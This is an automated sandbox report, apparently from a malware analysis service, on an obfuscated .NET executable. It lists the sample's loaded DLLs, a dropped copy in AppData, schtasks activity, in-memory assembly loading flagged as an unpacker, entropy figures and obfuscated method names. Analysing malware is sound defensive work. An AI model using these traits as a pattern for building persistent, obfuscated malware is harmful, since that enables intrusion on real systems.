Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Section loaded: ntmarta.dll

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: lZ8NRWShfC.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: lZ8NRWShfC.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: lZ8NRWShfC.exe, PhotoBoothHome.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: TmfmVKU.exe.0.dr, PhotoBoothHome.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, t68jHSoYAIlawlIG5e.cs	.Net Code: dIF0FdCfhB System.Reflection.Assembly.Load(byte[])
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, t68jHSoYAIlawlIG5e.cs	.Net Code: dIF0FdCfhB System.Reflection.Assembly.Load(byte[])
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, t68jHSoYAIlawlIG5e.cs	.Net Code: dIF0FdCfhB System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 0_2_02D09C20 push 3802D993h; iretd	0_2_02D09C6D
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 0_2_02D05DFF push eax; iretd	0_2_02D05E29
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 0_2_04F14808 push esp; retf	0_2_04F14809
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 8_2_0636EFD8 push es; ret	8_2_0636EFD0
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 8_2_0636EFA0 push es; ret	8_2_0636EFD0
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 8_2_0636EFC0 push es; ret	8_2_0636EFD0
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 10_2_01A6D9C0 push esi; retf	10_2_01A6D9D9
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 10_2_01A65DFF push eax; iretd	10_2_01A65E29
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 14_2_0653E5CF push es; ret	14_2_0653E5E0

Source: lZ8NRWShfC.exe	Static PE information: section name: .text entropy: 7.914344938020503
Source: TmfmVKU.exe.0.dr	Static PE information: section name: .text entropy: 7.914344938020503

Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, FccI31gZs7ax4EMgc0.cs	High entropy of concatenated method names: 'Oa45d83JrX', 'dpL5JrHnyv', 'Bay9NSA4SR', 'KZZ9I6m8kE', 'Ufx5RO0WRn', 'bLu5fglnuo', 'QoQ5tIE2NR', 'vpI5Tm1oH5', 'LeG51aFNLK', 'swM5iw6g3W'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, FxZFjs4i7RkqaYNM30.cs	High entropy of concatenated method names: 'b0P5lCSL7w', 'QpS5wWvKwW', 'ToString', 'HdJ5r5OMqk', 'ELN5PeX7mp', 'ycn5n82U5Z', 'uxP5xQE8p3', 'vkk5vE8NhS', 'mV25hvXlUT', 'A205oClo1K'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, MIiEfhqr0fJrKWYxGY.cs	High entropy of concatenated method names: 'TNoxQi2nOb', 'jeZxOcjTHS', 'H1vnsyN905', 'tS8nCe0ISB', 'px6nUcP64f', 'tdXnpXdXmK', 'phlneLsGvn', 'hUcn2hM7tb', 'CysnMiJlsZ', 'yNpnaQTaAq'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, pmdfqZ0lSDhZhFlc0M.cs	High entropy of concatenated method names: 'zE7Ihr1DF7', 'HLsIoBO0ea', 'OORIlEtcPd', 'korIwv2IiE', 'oYxIWGYNUO', 'kGsIkWasNX', 'F84FEFzO4fZnljW9oJ', 'yTgFkSBG5aWYGtj61eV', 'eBUIIbg9SB', 'xPfIycBRVE'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, vr1DF7KsLsBO0eaics.cs	High entropy of concatenated method names: 'shAPT9VtDx', 'AgTP1O1NSf', 'IWNPiEYKGQ', 'vTHP4KqRgx', 'i6yPDqNhNh', 'x7IPgILM96', 't1dPurCFAT', 'oCEPdKrgpa', 'PnBPYRnjHR', 'mAYPJFMqjG'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, CvKhNyIIACZkd5dr9KT.cs	High entropy of concatenated method names: 'ToString', 'fblGy7tZx8', 'VS9G0LpQoq', 'DJkGcOMQDk', 'HL4GrJLjQS', 'e9oGP5xsgt', 'YWQGnJ3TXa', 'OA3Gxrv8TJ', 'EpDoHMC4chfe6HW9WN7', 'Odu5wlCW5CakG00voIl'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, RCrC1iTb0BmAV5dmVp.cs	High entropy of concatenated method names: 'qavWa0ZGrV', 'IedWfTHK9j', 'ev1WTqMmWF', 'r6YW1QEb7o', 'M55WbC08Rn', 'zNTWsvwhVY', 'xjkWCO6OkJ', 'LhmWUuJi2h', 'sxDWpgU1tg', 'EthWeCkQ9A'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, t68jHSoYAIlawlIG5e.cs	High entropy of concatenated method names: 'FM3ycftrZB', 'zv3yrdALNI', 'vA7yPmJdO6', 'zxOynilvSC', 'srjyxmOARk', 'pSQyvGSvVr', 'zV8yhJZTEg', 'tyHyo6jVAX', 'xMNyVHYiNd', 'hyUyleXIRC'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, NkeBeUMWOPbsUVWFGR.cs	High entropy of concatenated method names: 'pYLhZxyrCT', 'F1DhBWJVN2', 'WHlhFonTAX', 'DXHhLA3Vj8', 'BDNhQxuHwm', 'qrshHU0t5w', 'DMPhO1sdGe', 'YEdhKvnu9v', 'l4HhAIbc6I', 'sAqhqhBjH3'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, jZRAJKPAeaJ6Pt9qQq.cs	High entropy of concatenated method names: 'Dispose', 'tvgIY85Y4O', 'nvj3b5KVtZ', 'hNPffntPlB', 'D8kIJMy1vk', 'SPWIzUGFNA', 'ProcessDialogKey', 'iAh3NDtyHO', 'ayb3IMnytg', 'KXw33tdlvm'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, Hqvnrc30jYf7S8Ttkb.cs	High entropy of concatenated method names: 'z5rFUlrvy', 'eIbLOQ0YJ', 'cDKH7AFCb', 'ewdOw2dpK', 'WUXAnKwc7', 'IpXqLv4b0', 'Wnc1062Cy8XRtCyXdo', 'e36OFMfFtyInfeOhhS', 'LBm9VG5s4', 'FxtGKXCpD'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, SKqjlyegPhm1gxVV2P.cs	High entropy of concatenated method names: 'acDhrA0HkB', 'pGVhnixgQi', 'PWhhvQx22Q', 'FpmvJe4F7k', 'RtUvzShxPN', 'EyhhNksjTR', 'qtLhInpjEH', 'Gu0h3uOX4r', 'J3khy6UovJ', 'WMqh0qCOQV'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, vkMy1vdkiPWUGFNAxA.cs	High entropy of concatenated method names: 'lR29r6KDv4', 'wAS9PeZ22f', 'asR9nm8Fgx', 'CtH9xSX5xE', 'wHp9vVfu0w', 'rZR9hwJgjS', 'LtQ9oyL5v2', 'cEd9Vwou42', 'WBK9lNgRTG', 'TmJ9wgHRMJ'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, oaDF8RAOREtcPdoorv.cs	High entropy of concatenated method names: 'dn4nLbevDm', 'foGnHqc1iH', 'VepnKA5ld4', 'zDtnAYpZmi', 'HoNnW470qt', 'p8CnkgSFui', 'GtVn5QrxR3', 'FKHn9sq3Le', 'LFOnXh1TKM', 'iYanGjR1Aw'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, do9ekiIyhQPeaTUkxHW.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'HY5GTjCsF2', 'W11G1YyBJm', 'OWCGinLynr', 'wLtG4Bx0cN', 'G9RGDDtyFT', 'Gx7GgCnVja', 'WTAGuuGyBc'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, aUOVGsjWasNXe67yVg.cs	High entropy of concatenated method names: 'o6dvctpC4C', 'UeUvPLufR0', 'jNbvxGoIlH', 'WnPvhKLS5c', 'oVevodEpIl', 'zFSxDF9reG', 'SZ0xgUej1A', 'NkZxuovhsi', 'tfnxd03UXp', 'gelxYw24DJ'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, tMZOjVtwNbMB4Vjyt6.cs	High entropy of concatenated method names: 'LJVSKDsqKg', 'm7PSAiri6o', 'LPVSjhdbyt', 'M6gSbgvQS6', 'hV6SCvFEpi', 'DuvSUbBmIp', 'UaYSeQvXeF', 'C5FS2nA76u', 'OSCSatlS6w', 'n6gSRHGXeA'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, GnMDJIINjyh8HxsYteN.cs	High entropy of concatenated method names: 'KtZXZsT4MD', 'xooXB4L5OA', 'rurXFlo4dk', 'E4bXL7J0EK', 'nfcXQF5YlK', 'xL6XH7Zm1x', 'rO0XOwODmt', 'tCwXKNbibj', 'sNIXA2MPaN', 'O4cXq4taXP'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, QdlvmkJkjt9a0OwbEb.cs	High entropy of concatenated method names: 'otvXILvGrG', 'MWaXyQyYpF', 'Df2X0FoeqZ', 'eEtXrjl0Sy', 'e9nXP8swGq', 'gyXXx8vtrX', 'tfnXvGwCfZ', 'upl9uW4BHC', 'mnp9da0vMS', 'MAe9Yt0GvE'
Source: 0.2.lZ8NRWShfC.exe.4149a20.5.raw.unpack, jDtyHOYNybMnytgpXw.cs	High entropy of concatenated method names: 'mAo9jdOPUS', 'UEI9bfyXx2', 'jq79s39eW2', 'Y9s9Cxx7ug', 'OWE9Toay9p', 'SHG9Uw9MHN', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, FccI31gZs7ax4EMgc0.cs	High entropy of concatenated method names: 'Oa45d83JrX', 'dpL5JrHnyv', 'Bay9NSA4SR', 'KZZ9I6m8kE', 'Ufx5RO0WRn', 'bLu5fglnuo', 'QoQ5tIE2NR', 'vpI5Tm1oH5', 'LeG51aFNLK', 'swM5iw6g3W'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, FxZFjs4i7RkqaYNM30.cs	High entropy of concatenated method names: 'b0P5lCSL7w', 'QpS5wWvKwW', 'ToString', 'HdJ5r5OMqk', 'ELN5PeX7mp', 'ycn5n82U5Z', 'uxP5xQE8p3', 'vkk5vE8NhS', 'mV25hvXlUT', 'A205oClo1K'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, MIiEfhqr0fJrKWYxGY.cs	High entropy of concatenated method names: 'TNoxQi2nOb', 'jeZxOcjTHS', 'H1vnsyN905', 'tS8nCe0ISB', 'px6nUcP64f', 'tdXnpXdXmK', 'phlneLsGvn', 'hUcn2hM7tb', 'CysnMiJlsZ', 'yNpnaQTaAq'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, pmdfqZ0lSDhZhFlc0M.cs	High entropy of concatenated method names: 'zE7Ihr1DF7', 'HLsIoBO0ea', 'OORIlEtcPd', 'korIwv2IiE', 'oYxIWGYNUO', 'kGsIkWasNX', 'F84FEFzO4fZnljW9oJ', 'yTgFkSBG5aWYGtj61eV', 'eBUIIbg9SB', 'xPfIycBRVE'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, vr1DF7KsLsBO0eaics.cs	High entropy of concatenated method names: 'shAPT9VtDx', 'AgTP1O1NSf', 'IWNPiEYKGQ', 'vTHP4KqRgx', 'i6yPDqNhNh', 'x7IPgILM96', 't1dPurCFAT', 'oCEPdKrgpa', 'PnBPYRnjHR', 'mAYPJFMqjG'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, CvKhNyIIACZkd5dr9KT.cs	High entropy of concatenated method names: 'ToString', 'fblGy7tZx8', 'VS9G0LpQoq', 'DJkGcOMQDk', 'HL4GrJLjQS', 'e9oGP5xsgt', 'YWQGnJ3TXa', 'OA3Gxrv8TJ', 'EpDoHMC4chfe6HW9WN7', 'Odu5wlCW5CakG00voIl'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, RCrC1iTb0BmAV5dmVp.cs	High entropy of concatenated method names: 'qavWa0ZGrV', 'IedWfTHK9j', 'ev1WTqMmWF', 'r6YW1QEb7o', 'M55WbC08Rn', 'zNTWsvwhVY', 'xjkWCO6OkJ', 'LhmWUuJi2h', 'sxDWpgU1tg', 'EthWeCkQ9A'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, t68jHSoYAIlawlIG5e.cs	High entropy of concatenated method names: 'FM3ycftrZB', 'zv3yrdALNI', 'vA7yPmJdO6', 'zxOynilvSC', 'srjyxmOARk', 'pSQyvGSvVr', 'zV8yhJZTEg', 'tyHyo6jVAX', 'xMNyVHYiNd', 'hyUyleXIRC'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, NkeBeUMWOPbsUVWFGR.cs	High entropy of concatenated method names: 'pYLhZxyrCT', 'F1DhBWJVN2', 'WHlhFonTAX', 'DXHhLA3Vj8', 'BDNhQxuHwm', 'qrshHU0t5w', 'DMPhO1sdGe', 'YEdhKvnu9v', 'l4HhAIbc6I', 'sAqhqhBjH3'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, jZRAJKPAeaJ6Pt9qQq.cs	High entropy of concatenated method names: 'Dispose', 'tvgIY85Y4O', 'nvj3b5KVtZ', 'hNPffntPlB', 'D8kIJMy1vk', 'SPWIzUGFNA', 'ProcessDialogKey', 'iAh3NDtyHO', 'ayb3IMnytg', 'KXw33tdlvm'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, Hqvnrc30jYf7S8Ttkb.cs	High entropy of concatenated method names: 'z5rFUlrvy', 'eIbLOQ0YJ', 'cDKH7AFCb', 'ewdOw2dpK', 'WUXAnKwc7', 'IpXqLv4b0', 'Wnc1062Cy8XRtCyXdo', 'e36OFMfFtyInfeOhhS', 'LBm9VG5s4', 'FxtGKXCpD'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, SKqjlyegPhm1gxVV2P.cs	High entropy of concatenated method names: 'acDhrA0HkB', 'pGVhnixgQi', 'PWhhvQx22Q', 'FpmvJe4F7k', 'RtUvzShxPN', 'EyhhNksjTR', 'qtLhInpjEH', 'Gu0h3uOX4r', 'J3khy6UovJ', 'WMqh0qCOQV'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, vkMy1vdkiPWUGFNAxA.cs	High entropy of concatenated method names: 'lR29r6KDv4', 'wAS9PeZ22f', 'asR9nm8Fgx', 'CtH9xSX5xE', 'wHp9vVfu0w', 'rZR9hwJgjS', 'LtQ9oyL5v2', 'cEd9Vwou42', 'WBK9lNgRTG', 'TmJ9wgHRMJ'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, oaDF8RAOREtcPdoorv.cs	High entropy of concatenated method names: 'dn4nLbevDm', 'foGnHqc1iH', 'VepnKA5ld4', 'zDtnAYpZmi', 'HoNnW470qt', 'p8CnkgSFui', 'GtVn5QrxR3', 'FKHn9sq3Le', 'LFOnXh1TKM', 'iYanGjR1Aw'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, do9ekiIyhQPeaTUkxHW.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'HY5GTjCsF2', 'W11G1YyBJm', 'OWCGinLynr', 'wLtG4Bx0cN', 'G9RGDDtyFT', 'Gx7GgCnVja', 'WTAGuuGyBc'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, aUOVGsjWasNXe67yVg.cs	High entropy of concatenated method names: 'o6dvctpC4C', 'UeUvPLufR0', 'jNbvxGoIlH', 'WnPvhKLS5c', 'oVevodEpIl', 'zFSxDF9reG', 'SZ0xgUej1A', 'NkZxuovhsi', 'tfnxd03UXp', 'gelxYw24DJ'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, tMZOjVtwNbMB4Vjyt6.cs	High entropy of concatenated method names: 'LJVSKDsqKg', 'm7PSAiri6o', 'LPVSjhdbyt', 'M6gSbgvQS6', 'hV6SCvFEpi', 'DuvSUbBmIp', 'UaYSeQvXeF', 'C5FS2nA76u', 'OSCSatlS6w', 'n6gSRHGXeA'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, GnMDJIINjyh8HxsYteN.cs	High entropy of concatenated method names: 'KtZXZsT4MD', 'xooXB4L5OA', 'rurXFlo4dk', 'E4bXL7J0EK', 'nfcXQF5YlK', 'xL6XH7Zm1x', 'rO0XOwODmt', 'tCwXKNbibj', 'sNIXA2MPaN', 'O4cXq4taXP'
Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, QdlvmkJkjt9a0OwbEb.cs	High entropy of concatenated method names: 'otvXILvGrG', 'MWaXyQyYpF', 'Df2X0FoeqZ', 'eEtXrjl0Sy', 'e9nXP8swGq', 'gyXXx8vtrX', 'tfnXvGwCfZ', 'upl9uW4BHC', 'mnp9da0vMS', 'MAe9Yt0GvE'
